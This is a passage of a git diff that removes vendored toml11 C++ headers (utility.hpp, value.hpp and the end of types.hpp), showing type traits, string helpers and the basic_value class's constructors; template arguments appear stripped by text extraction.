type_to_enum: value_t_constant {}; - -// meta-function that checks the type T is the same as one of the toml::* types. -template -struct is_exact_toml_type : disjunction< - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same, - std::is_same - >{}; -template struct is_exact_toml_type : is_exact_toml_type{}; -template struct is_exact_toml_type : is_exact_toml_type{}; -template struct is_exact_toml_type : is_exact_toml_type{}; -template struct is_exact_toml_type: is_exact_toml_type{}; - -} // detail -} // toml - -#endif// TOML11_TYPES_H diff --git a/src/toml11/toml/utility.hpp b/src/toml11/toml/utility.hpp deleted file mode 100644 index 4a6b4309d..000000000 --- a/src/toml11/toml/utility.hpp +++ /dev/null @@ -1,149 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_UTILITY_HPP -#define TOML11_UTILITY_HPP -#include -#include -#include - -#include "traits.hpp" - -#if __cplusplus >= 201402L -# define TOML11_MARK_AS_DEPRECATED(msg) [[deprecated(msg)]] -#elif defined(__GNUC__) -# define TOML11_MARK_AS_DEPRECATED(msg) __attribute__((deprecated(msg))) -#elif defined(_MSC_VER) -# define TOML11_MARK_AS_DEPRECATED(msg) __declspec(deprecated(msg)) -#else -# define TOML11_MARK_AS_DEPRECATED -#endif - -namespace toml -{ - -#if __cplusplus >= 201402L - -using std::make_unique; - -#else - -template -inline std::unique_ptr make_unique(Ts&& ... args) -{ - return std::unique_ptr(new T(std::forward(args)...)); -} - -#endif // __cplusplus >= 2014 - -namespace detail -{ -template -void try_reserve_impl(Container& container, std::size_t N, std::true_type) -{ - container.reserve(N); - return; -} -template -void try_reserve_impl(Container&, std::size_t, std::false_type) noexcept -{ - return; -} -} // detail - -template -void try_reserve(Container& container, std::size_t N) -{ - if(N <= container.size()) {return;} - detail::try_reserve_impl(container, N, detail::has_reserve_method{}); - return; -} - -namespace detail -{ -inline std::string concat_to_string_impl(std::ostringstream& oss) -{ - return oss.str(); -} -template -std::string concat_to_string_impl(std::ostringstream& oss, T&& head, Ts&& ... tail) -{ - oss << std::forward(head); - return concat_to_string_impl(oss, std::forward(tail) ... ); -} -} // detail - -template -std::string concat_to_string(Ts&& ... args) -{ - std::ostringstream oss; - oss << std::boolalpha << std::fixed; - return detail::concat_to_string_impl(oss, std::forward(args) ...); -} - -template -T from_string(const std::string& str, T opt) -{ - T v(opt); - std::istringstream iss(str); - iss >> v; - return v; -} - -namespace detail -{ -#if __cplusplus >= 201402L -template -decltype(auto) last_one(T&& tail) noexcept -{ - return std::forward(tail); -} - -template -decltype(auto) last_one(T&& /*head*/, Ts&& ... tail) noexcept -{ - return last_one(std::forward(tail)...); -} -#else // C++11 -// The following code -// ```cpp -// 1 | template -// 2 | auto last_one(T&& /*head*/, Ts&& ... tail) -// 3 | -> decltype(last_one(std::forward(tail)...)) -// 4 | { -// 5 | return last_one(std::forward(tail)...); -// 6 | } -// ``` -// does not work because the function `last_one(...)` is not yet defined at -// line #3, so `decltype()` cannot deduce the type returned from `last_one`. -// So we need to determine return type in a different way, like a meta func. - -template -struct last_one_in_pack -{ - using type = typename last_one_in_pack::type; -}; -template -struct last_one_in_pack -{ - using type = T; -}; -template -using last_one_in_pack_t = typename last_one_in_pack::type; - -template -T&& last_one(T&& tail) noexcept -{ - return std::forward(tail); -} -template -enable_if_t<(sizeof...(Ts) > 0), last_one_in_pack_t> -last_one(T&& /*head*/, Ts&& ... tail) -{ - return last_one(std::forward(tail)...); -} - -#endif -} // detail - -}// toml -#endif // TOML11_UTILITY diff --git a/src/toml11/toml/value.hpp b/src/toml11/toml/value.hpp deleted file mode 100644 index 1b43db8d4..000000000 --- a/src/toml11/toml/value.hpp +++ /dev/null @@ -1,2035 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_VALUE_HPP -#define TOML11_VALUE_HPP -#include - -#include "comments.hpp" -#include "exception.hpp" -#include "into.hpp" -#include "region.hpp" -#include "source_location.hpp" -#include "storage.hpp" -#include "traits.hpp" -#include "types.hpp" -#include "utility.hpp" - -namespace toml -{ - -namespace detail -{ - -// to show error messages. not recommended for users. -template -inline region_base const* get_region(const Value& v) -{ - return v.region_info_.get(); -} - -template -void change_region(Value& v, region reg) -{ - v.region_info_ = std::make_shared(std::move(reg)); - return; -} - -template -[[noreturn]] inline void -throw_bad_cast(const std::string& funcname, value_t actual, const Value& v) -{ - throw type_error(detail::format_underline( - concat_to_string(funcname, "bad_cast to ", Expected), { - {v.location(), concat_to_string("the actual type is ", actual)} - }), v.location()); -} - -// Throw `out_of_range` from `toml::value::at()` and `toml::find()` -// after generating an error message. -// -// The implementation is a bit complicated and there are many edge-cases. -// If you are not interested in the error message generation, just skip this. -template -[[noreturn]] void -throw_key_not_found_error(const Value& v, const key& ky) -{ - // The top-level table has its region at the first character of the file. - // That means that, in the case when a key is not found in the top-level - // table, the error message points to the first character. If the file has - // its first table at the first line, the error message would be like this. - // ```console - // [error] key "a" not found - // --> example.toml - // | - // 1 | [table] - // | ^------ in this table - // ``` - // It actually points to the top-level table at the first character, - // not `[table]`. But it is too confusing. To avoid the confusion, the error - // message should explicitly say "key not found in the top-level table", - // or "the parsed file is empty" if there is no content at all (0 bytes in file). - const auto loc = v.location(); - if(loc.line() == 1 && loc.region() == 0) - { - // First line with a zero-length region means "empty file". - // The region will be generated at `parse_toml_file` function - // if the file contains no bytes. - throw std::out_of_range(format_underline(concat_to_string( - "key \"", ky, "\" not found in the top-level table"), { - {loc, "the parsed file is empty"} - })); - } - else if(loc.line() == 1 && loc.region() == 1) - { - // Here it assumes that top-level table starts at the first character. - // The region corresponds to the top-level table will be generated at - // `parse_toml_file` function. - // It also assumes that the top-level table size is just one and - // the line number is `1`. It is always satisfied. And those conditions - // are satisfied only if the table is the top-level table. - // - // 1. one-character dot-key at the first line - // ```toml - // a.b = "c" - // ``` - // toml11 counts whole key as the table key. Here, `a.b` is the region - // of the table "a". It could be counter intuitive, but it works. - // The size of the region is 3, not 1. The above example is the shortest - // dot-key example. The size cannot be 1. - // - // 2. one-character inline-table at the first line - // ```toml - // a = {b = "c"} - // ``` - // toml11 considers the inline table body as the table region. Here, - // `{b = "c"}` is the region of the table "a". The size of the region - // is 9, not 1. The shotest inline table still has two characters, `{` - // and `}`. The size cannot be 1. - // - // 3. one-character table declaration at the first line - // ```toml - // [a] - // ``` - // toml11 considers the whole table key as the table region. Here, - // `[a]` is the table region. The size is 3, not 1. - // - throw std::out_of_range(format_underline(concat_to_string( - "key \"", ky, "\" not found in the top-level table"), { - {loc, "the top-level table starts here"} - })); - } - else - { - // normal table. - throw std::out_of_range(format_underline(concat_to_string( - "key \"", ky, "\" not found"), { {loc, "in this table"} })); - } -} - -// switch by `value_t` at the compile time. -template -struct switch_cast {}; -#define TOML11_GENERATE_SWITCH_CASTER(TYPE) \ - template<> \ - struct switch_cast \ - { \ - template \ - static typename Value::TYPE##_type& invoke(Value& v) \ - { \ - return v.as_##TYPE(); \ - } \ - template \ - static typename Value::TYPE##_type const& invoke(const Value& v) \ - { \ - return v.as_##TYPE(); \ - } \ - template \ - static typename Value::TYPE##_type&& invoke(Value&& v) \ - { \ - return std::move(v).as_##TYPE(); \ - } \ - }; \ - /**/ -TOML11_GENERATE_SWITCH_CASTER(boolean) -TOML11_GENERATE_SWITCH_CASTER(integer) -TOML11_GENERATE_SWITCH_CASTER(floating) -TOML11_GENERATE_SWITCH_CASTER(string) -TOML11_GENERATE_SWITCH_CASTER(offset_datetime) -TOML11_GENERATE_SWITCH_CASTER(local_datetime) -TOML11_GENERATE_SWITCH_CASTER(local_date) -TOML11_GENERATE_SWITCH_CASTER(local_time) -TOML11_GENERATE_SWITCH_CASTER(array) -TOML11_GENERATE_SWITCH_CASTER(table) - -#undef TOML11_GENERATE_SWITCH_CASTER - -}// detail - -template class Table = std::unordered_map, - template class Array = std::vector> -class basic_value -{ - template - static void assigner(T& dst, U&& v) - { - const auto tmp = ::new(std::addressof(dst)) T(std::forward(v)); - assert(tmp == std::addressof(dst)); - (void)tmp; - } - - using region_base = detail::region_base; - - template class T, - template class A> - friend class basic_value; - - public: - - using comment_type = Comment; - using key_type = ::toml::key; - using value_type = basic_value; - using boolean_type = ::toml::boolean; - using integer_type = ::toml::integer; - using floating_type = ::toml::floating; - using string_type = ::toml::string; - using local_time_type = ::toml::local_time; - using local_date_type = ::toml::local_date; - using local_datetime_type = ::toml::local_datetime; - using offset_datetime_type = ::toml::offset_datetime; - using array_type = Array; - using table_type = Table; - - public: - - basic_value() noexcept - : type_(value_t::empty), - region_info_(std::make_shared(region_base{})) - {} - ~basic_value() noexcept {this->cleanup();} - - basic_value(const basic_value& v) - : type_(v.type()), region_info_(v.region_info_), comments_(v.comments_) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : assigner(array_ , v.array_ ); break; - case value_t::table : assigner(table_ , v.table_ ); break; - default: break; - } - } - basic_value(basic_value&& v) - : type_(v.type()), region_info_(std::move(v.region_info_)), - comments_(std::move(v.comments_)) - { - switch(this->type_) // here this->type_ is already initialized - { - case value_t::boolean : assigner(boolean_ , std::move(v.boolean_ )); break; - case value_t::integer : assigner(integer_ , std::move(v.integer_ )); break; - case value_t::floating : assigner(floating_ , std::move(v.floating_ )); break; - case value_t::string : assigner(string_ , std::move(v.string_ )); break; - case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break; - case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break; - case value_t::local_date : assigner(local_date_ , std::move(v.local_date_ )); break; - case value_t::local_time : assigner(local_time_ , std::move(v.local_time_ )); break; - case value_t::array : assigner(array_ , std::move(v.array_ )); break; - case value_t::table : assigner(table_ , std::move(v.table_ )); break; - default: break; - } - } - basic_value& operator=(const basic_value& v) - { - this->cleanup(); - this->region_info_ = v.region_info_; - this->comments_ = v.comments_; - this->type_ = v.type(); - switch(this->type_) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : assigner(array_ , v.array_ ); break; - case value_t::table : assigner(table_ , v.table_ ); break; - default: break; - } - return *this; - } - basic_value& operator=(basic_value&& v) - { - this->cleanup(); - this->region_info_ = std::move(v.region_info_); - this->comments_ = std::move(v.comments_); - this->type_ = v.type(); - switch(this->type_) - { - case value_t::boolean : assigner(boolean_ , std::move(v.boolean_ )); break; - case value_t::integer : assigner(integer_ , std::move(v.integer_ )); break; - case value_t::floating : assigner(floating_ , std::move(v.floating_ )); break; - case value_t::string : assigner(string_ , std::move(v.string_ )); break; - case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break; - case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break; - case value_t::local_date : assigner(local_date_ , std::move(v.local_date_ )); break; - case value_t::local_time : assigner(local_time_ , std::move(v.local_time_ )); break; - case value_t::array : assigner(array_ , std::move(v.array_ )); break; - case value_t::table : assigner(table_ , std::move(v.table_ )); break; - default: break; - } - return *this; - } - - // overwrite comments ---------------------------------------------------- - - basic_value(const basic_value& v, std::vector com) - : type_(v.type()), region_info_(v.region_info_), - comments_(std::move(com)) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : assigner(array_ , v.array_ ); break; - case value_t::table : assigner(table_ , v.table_ ); break; - default: break; - } - } - - basic_value(basic_value&& v, std::vector com) - : type_(v.type()), region_info_(std::move(v.region_info_)), - comments_(std::move(com)) - { - switch(this->type_) // here this->type_ is already initialized - { - case value_t::boolean : assigner(boolean_ , std::move(v.boolean_ )); break; - case value_t::integer : assigner(integer_ , std::move(v.integer_ )); break; - case value_t::floating : assigner(floating_ , std::move(v.floating_ )); break; - case value_t::string : assigner(string_ , std::move(v.string_ )); break; - case value_t::offset_datetime: assigner(offset_datetime_, std::move(v.offset_datetime_)); break; - case value_t::local_datetime : assigner(local_datetime_ , std::move(v.local_datetime_ )); break; - case value_t::local_date : assigner(local_date_ , std::move(v.local_date_ )); break; - case value_t::local_time : assigner(local_time_ , std::move(v.local_time_ )); break; - case value_t::array : assigner(array_ , std::move(v.array_ )); break; - case value_t::table : assigner(table_ , std::move(v.table_ )); break; - default: break; - } - } - - // ----------------------------------------------------------------------- - // conversion between different basic_values. - template class T, - template class A> - basic_value(const basic_value& v) - : type_(v.type()), region_info_(v.region_info_), comments_(v.comments()) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : - { - array_type tmp(v.as_array(std::nothrow).begin(), - v.as_array(std::nothrow).end()); - assigner(array_, std::move(tmp)); - break; - } - case value_t::table : - { - table_type tmp(v.as_table(std::nothrow).begin(), - v.as_table(std::nothrow).end()); - assigner(table_, std::move(tmp)); - break; - } - default: break; - } - } - template class T, - template class A> - basic_value(const basic_value& v, std::vector com) - : type_(v.type()), region_info_(v.region_info_), - comments_(std::move(com)) - { - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : - { - array_type tmp(v.as_array(std::nothrow).begin(), - v.as_array(std::nothrow).end()); - assigner(array_, std::move(tmp)); - break; - } - case value_t::table : - { - table_type tmp(v.as_table(std::nothrow).begin(), - v.as_table(std::nothrow).end()); - assigner(table_, std::move(tmp)); - break; - } - default: break; - } - } - template class T, - template class A> - basic_value& operator=(const basic_value& v) - { - this->region_info_ = v.region_info_; - this->comments_ = comment_type(v.comments()); - this->type_ = v.type(); - switch(v.type()) - { - case value_t::boolean : assigner(boolean_ , v.boolean_ ); break; - case value_t::integer : assigner(integer_ , v.integer_ ); break; - case value_t::floating : assigner(floating_ , v.floating_ ); break; - case value_t::string : assigner(string_ , v.string_ ); break; - case value_t::offset_datetime: assigner(offset_datetime_, v.offset_datetime_); break; - case value_t::local_datetime : assigner(local_datetime_ , v.local_datetime_ ); break; - case value_t::local_date : assigner(local_date_ , v.local_date_ ); break; - case value_t::local_time : assigner(local_time_ , v.local_time_ ); break; - case value_t::array : - { - array_type tmp(v.as_array(std::nothrow).begin(), - v.as_array(std::nothrow).end()); - assigner(array_, std::move(tmp)); - break; - } - case value_t::table : - { - table_type tmp(v.as_table(std::nothrow).begin(), - v.as_table(std::nothrow).end()); - assigner(table_, std::move(tmp)); - break; - } - default: break; - } - return *this; - } - - // boolean ============================================================== - - basic_value(boolean b) - : type_(value_t::boolean), - region_info_(std::make_shared(region_base{})) - { - assigner(this->boolean_, b); - } - basic_value& operator=(boolean b) - { - this->cleanup(); - this->type_ = value_t::boolean; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->boolean_, b); - return *this; - } - basic_value(boolean b, std::vector com) - : type_(value_t::boolean), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->boolean_, b); - } - - // integer ============================================================== - - template, detail::negation>>::value, - std::nullptr_t>::type = nullptr> - basic_value(T i) - : type_(value_t::integer), - region_info_(std::make_shared(region_base{})) - { - assigner(this->integer_, static_cast(i)); - } - - template, detail::negation>>::value, - std::nullptr_t>::type = nullptr> - basic_value& operator=(T i) - { - this->cleanup(); - this->type_ = value_t::integer; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->integer_, static_cast(i)); - return *this; - } - - template, detail::negation>>::value, - std::nullptr_t>::type = nullptr> - basic_value(T i, std::vector com) - : type_(value_t::integer), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->integer_, static_cast(i)); - } - - // floating ============================================================= - - template::value, std::nullptr_t>::type = nullptr> - basic_value(T f) - : type_(value_t::floating), - region_info_(std::make_shared(region_base{})) - { - assigner(this->floating_, static_cast(f)); - } - - - template::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(T f) - { - this->cleanup(); - this->type_ = value_t::floating; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->floating_, static_cast(f)); - return *this; - } - - template::value, std::nullptr_t>::type = nullptr> - basic_value(T f, std::vector com) - : type_(value_t::floating), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->floating_, f); - } - - // string =============================================================== - - basic_value(toml::string s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, std::move(s)); - } - basic_value& operator=(toml::string s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, s); - return *this; - } - basic_value(toml::string s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, std::move(s)); - } - - basic_value(std::string s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::move(s))); - } - basic_value& operator=(std::string s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, toml::string(std::move(s))); - return *this; - } - basic_value(std::string s, string_t kind) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::move(s), kind)); - } - basic_value(std::string s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::move(s))); - } - basic_value(std::string s, string_t kind, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::move(s), kind)); - } - - basic_value(const char* s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::string(s))); - } - basic_value& operator=(const char* s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, toml::string(std::string(s))); - return *this; - } - basic_value(const char* s, string_t kind) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::string(s), kind)); - } - basic_value(const char* s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::string(s))); - } - basic_value(const char* s, string_t kind, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::string(s), kind)); - } - -#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0 - basic_value(std::string_view s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(s)); - } - basic_value& operator=(std::string_view s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, toml::string(s)); - return *this; - } - basic_value(std::string_view s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(s)); - } - basic_value(std::string_view s, string_t kind) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(s, kind)); - } - basic_value(std::string_view s, string_t kind, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(s, kind)); - } -#endif - - // local date =========================================================== - - basic_value(const local_date& ld) - : type_(value_t::local_date), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_date_, ld); - } - basic_value& operator=(const local_date& ld) - { - this->cleanup(); - this->type_ = value_t::local_date; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_date_, ld); - return *this; - } - basic_value(const local_date& ld, std::vector com) - : type_(value_t::local_date), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_date_, ld); - } - - // local time =========================================================== - - basic_value(const local_time& lt) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_time_, lt); - } - basic_value(const local_time& lt, std::vector com) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_time_, lt); - } - basic_value& operator=(const local_time& lt) - { - this->cleanup(); - this->type_ = value_t::local_time; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_time_, lt); - return *this; - } - - template - basic_value(const std::chrono::duration& dur) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_time_, local_time(dur)); - } - template - basic_value(const std::chrono::duration& dur, - std::vector com) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_time_, local_time(dur)); - } - template - basic_value& operator=(const std::chrono::duration& dur) - { - this->cleanup(); - this->type_ = value_t::local_time; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_time_, local_time(dur)); - return *this; - } - - // local datetime ======================================================= - - basic_value(const local_datetime& ldt) - : type_(value_t::local_datetime), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_datetime_, ldt); - } - basic_value(const local_datetime& ldt, std::vector com) - : type_(value_t::local_datetime), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_datetime_, ldt); - } - basic_value& operator=(const local_datetime& ldt) - { - this->cleanup(); - this->type_ = value_t::local_datetime; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_datetime_, ldt); - return *this; - } - - // offset datetime ====================================================== - - basic_value(const offset_datetime& odt) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})) - { - assigner(this->offset_datetime_, odt); - } - basic_value(const offset_datetime& odt, std::vector com) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->offset_datetime_, odt); - } - basic_value& operator=(const offset_datetime& odt) - { - this->cleanup(); - this->type_ = value_t::offset_datetime; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->offset_datetime_, odt); - return *this; - } - basic_value(const std::chrono::system_clock::time_point& tp) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})) - { - assigner(this->offset_datetime_, offset_datetime(tp)); - } - basic_value(const std::chrono::system_clock::time_point& tp, - std::vector com) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->offset_datetime_, offset_datetime(tp)); - } - basic_value& operator=(const std::chrono::system_clock::time_point& tp) - { - this->cleanup(); - this->type_ = value_t::offset_datetime; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->offset_datetime_, offset_datetime(tp)); - return *this; - } - - // array ================================================================ - - basic_value(const array_type& ary) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})) - { - assigner(this->array_, ary); - } - basic_value(const array_type& ary, std::vector com) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->array_, ary); - } - basic_value& operator=(const array_type& ary) - { - this->cleanup(); - this->type_ = value_t::array ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->array_, ary); - return *this; - } - - // array (initializer_list) ---------------------------------------------- - - template::value, - std::nullptr_t>::type = nullptr> - basic_value(std::initializer_list list) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})) - { - array_type ary(list.begin(), list.end()); - assigner(this->array_, std::move(ary)); - } - template::value, - std::nullptr_t>::type = nullptr> - basic_value(std::initializer_list list, std::vector com) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - array_type ary(list.begin(), list.end()); - assigner(this->array_, std::move(ary)); - } - template::value, - std::nullptr_t>::type = nullptr> - basic_value& operator=(std::initializer_list list) - { - this->cleanup(); - this->type_ = value_t::array; - this->region_info_ = std::make_shared(region_base{}); - - array_type ary(list.begin(), list.end()); - assigner(this->array_, std::move(ary)); - return *this; - } - - // array (STL Containers) ------------------------------------------------ - - template>, - detail::is_container - >::value, std::nullptr_t>::type = nullptr> - basic_value(const T& list) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})) - { - static_assert(std::is_convertible::value, - "elements of a container should be convertible to toml::value"); - - array_type ary(list.size()); - std::copy(list.begin(), list.end(), ary.begin()); - assigner(this->array_, std::move(ary)); - } - template>, - detail::is_container - >::value, std::nullptr_t>::type = nullptr> - basic_value(const T& list, std::vector com) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - static_assert(std::is_convertible::value, - "elements of a container should be convertible to toml::value"); - - array_type ary(list.size()); - std::copy(list.begin(), list.end(), ary.begin()); - assigner(this->array_, std::move(ary)); - } - template>, - detail::is_container - >::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(const T& list) - { - static_assert(std::is_convertible::value, - "elements of a container should be convertible to toml::value"); - - this->cleanup(); - this->type_ = value_t::array; - this->region_info_ = std::make_shared(region_base{}); - - array_type ary(list.size()); - std::copy(list.begin(), list.end(), ary.begin()); - assigner(this->array_, std::move(ary)); - return *this; - } - - // table ================================================================ - - basic_value(const table_type& tab) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})) - { - assigner(this->table_, tab); - } - basic_value(const table_type& tab, std::vector com) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->table_, tab); - } - basic_value& operator=(const table_type& tab) - { - this->cleanup(); - this->type_ = value_t::table; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->table_, tab); - return *this; - } - - // initializer-list ------------------------------------------------------ - - basic_value(std::initializer_list> list) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})) - { - table_type tab; - for(const auto& elem : list) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - - basic_value(std::initializer_list> list, - std::vector com) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - table_type tab; - for(const auto& elem : list) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - basic_value& operator=(std::initializer_list> list) - { - this->cleanup(); - this->type_ = value_t::table; - this->region_info_ = std::make_shared(region_base{}); - - table_type tab; - for(const auto& elem : list) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - return *this; - } - - // other table-like ----------------------------------------------------- - - template>, - detail::is_map - >::value, std::nullptr_t>::type = nullptr> - basic_value(const Map& mp) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})) - { - table_type tab; - for(const auto& elem : mp) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - template>, - detail::is_map - >::value, std::nullptr_t>::type = nullptr> - basic_value(const Map& mp, std::vector com) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - table_type tab; - for(const auto& elem : mp) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - template>, - detail::is_map - >::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(const Map& mp) - { - this->cleanup(); - this->type_ = value_t::table; - this->region_info_ = std::make_shared(region_base{}); - - table_type tab; - for(const auto& elem : mp) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - return *this; - } - - // user-defined ========================================================= - - // convert using into_toml() method ------------------------------------- - - template::value, std::nullptr_t>::type = nullptr> - basic_value(const T& ud): basic_value(ud.into_toml()) {} - - template::value, std::nullptr_t>::type = nullptr> - basic_value(const T& ud, std::vector com) - : basic_value(ud.into_toml(), std::move(com)) - {} - template::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(const T& ud) - { - *this = ud.into_toml(); - return *this; - } - - // convert using into struct ----------------------------------------- - - template)> - basic_value(const T& ud): basic_value(::toml::into::into_toml(ud)) {} - template)> - basic_value(const T& ud, std::vector com) - : basic_value(::toml::into::into_toml(ud), std::move(com)) - {} - template)> - basic_value& operator=(const T& ud) - { - *this = ::toml::into::into_toml(ud); - return *this; - } - - // for internal use ------------------------------------------------------ - 